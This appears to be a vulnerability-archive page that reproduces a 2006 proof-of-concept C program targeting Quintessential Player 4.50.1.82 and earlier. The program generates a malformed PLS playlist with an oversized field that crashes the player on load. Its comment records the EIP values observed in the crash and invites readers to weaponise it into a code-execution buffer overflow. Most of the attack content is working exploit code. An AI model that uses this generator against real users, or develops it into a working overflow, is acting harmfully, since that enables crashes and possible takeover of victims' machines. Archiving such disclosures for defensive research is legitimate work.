Lucene search
K

Quintessential Player <= 4.50.1.82 (Playlist) Denial of Service PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Quintessential Player <= 4.50.1.82 Playlist Denial of Service PoC. Memory corruption in parsing malformed Playlist files may lead to code execution. Proof of concept in PLS format discovered by Greg Linares

Code

                                                /*
0-day Quintessential Player &#60;= 4.50.1.82 Playlist Denial Of Service PoC
========================================================================
========================================================================
Quintessential Player 4.50.1.82 and lower experiance a memory corruption
when attempting to parse out malformed Playlist files.
This possibly could lead to execution of code.  Here is the proof of
concept in PLS format.

Note: M3u and M3u-8 are also affected by this problem.

EIP gets replaced by semi random values in the memory corruption
here are my experiances:
[Buffer = 1028 A&#39;s]

Buffer + X  		EIP = 0x009efe5a
Buffer + X  		EIP = 0x00f6eb81 2nd run
Buffer + AAAA		EIP = 0x009efde2
Buffer + AAAA		EIP = 0x009efdb3 2nd run
Buffer + AAAA		EIP = 0x009efdb6 3rd run
Buffer + AAAABBBB	EIP = 0x009efdea

(Using the NumberOfEntries made it more consistant)
Buffer + AAAA		EIP = 0x00e13fd6 for 3 times until
Buffer + AAAA		EIP = 0x00e13fda

If someone can figure out how to control EIP and cause this to become
a buffer overflow exploit, this can be exploited just like
the XMPlayer Buffer Overflow issue or the old Winamp UNC overflow.

if you figure it out, just credit me with my email somewhere in the code,
ill be more than happy :)


Happy Hunting and Happy Holidays to everyone

November 2006 Month Of Greg&#39;s Media Player Exploits :)
Discovered and Reported By: Greg Linares [email protected]
Reported Exploit Date: 11/28/2006

*/


#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
int main(int argc, char *argv[])
{

	FILE *Exploit;
	char buffer[1032]; /* Corruption Occurs after 1028 bytes */
	int x;

	printf(&#34;\n======================================================================\n&#34;);
	printf(&#34;0-day Quintessential Player 4.50.1.82 and prior Playlist Denial Of Service PoC \n&#34;);
	printf(&#34;Crashes Quintessential Player with a malformed playlist on load.\n&#34;);
	printf(&#34;Discovered and Coded By: Greg Linares &#60;GLinares.code[at]gmail[dot]com&#62;\n&#34;);
	printf(&#34;Usage: %s &#60;output PLS file&#62;\n&#34;, argv[0]);
	printf(&#34;====================================================================\n\n\n&#34;);


	if (argc &#60; 2) {
		printf(&#34;Invalid Number Of Arguments\n&#34;);
		return 1;
	}


	Exploit = fopen(argv[1],&#34;w&#34;);
    if ( !Exploit )
    {
        printf(&#34;\nCouldn&#39;t Open File!&#34;);
        return 1;
    }

	memset(buffer, 0, 1030);
	for (x=0;x&#60;1030;x++) {
		strcat(buffer, &#34;A&#34;);
	}


	/* Any field can be modified to cause the memory corruption NumberofEntries, Length, Filename, Title etc. */

	fputs(&#34;[playlist]\r\nVersion=2\r\nNumberOfEntries=1&#34;, Exploit);
	fputs(&#34;\r\nFile1=&#34;, Exploit);
	fputs(buffer, Exploit);
	fputs(&#34;\r\nTitle1=0-day_Quintessential_Player_4.50.1.82_and_prior_Playlist_Denial_Of_Service_PoC_By_Greg_Linares\r\n&#34;, Exploit);
	fputs(&#34;Length1=512&#34;, Exploit);


	printf(&#34;Exploit Succeeded...\n Output File: %s\n\n&#34;, argv[1]);


	printf(&#34;Questions, Comments, Feedback --&#62; Greg Linares (GLinares.code[at]gmail[dot]com)\n&#34;);

	fclose(Exploit);
	return 0;
}

// milw0rm.com [2006-11-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation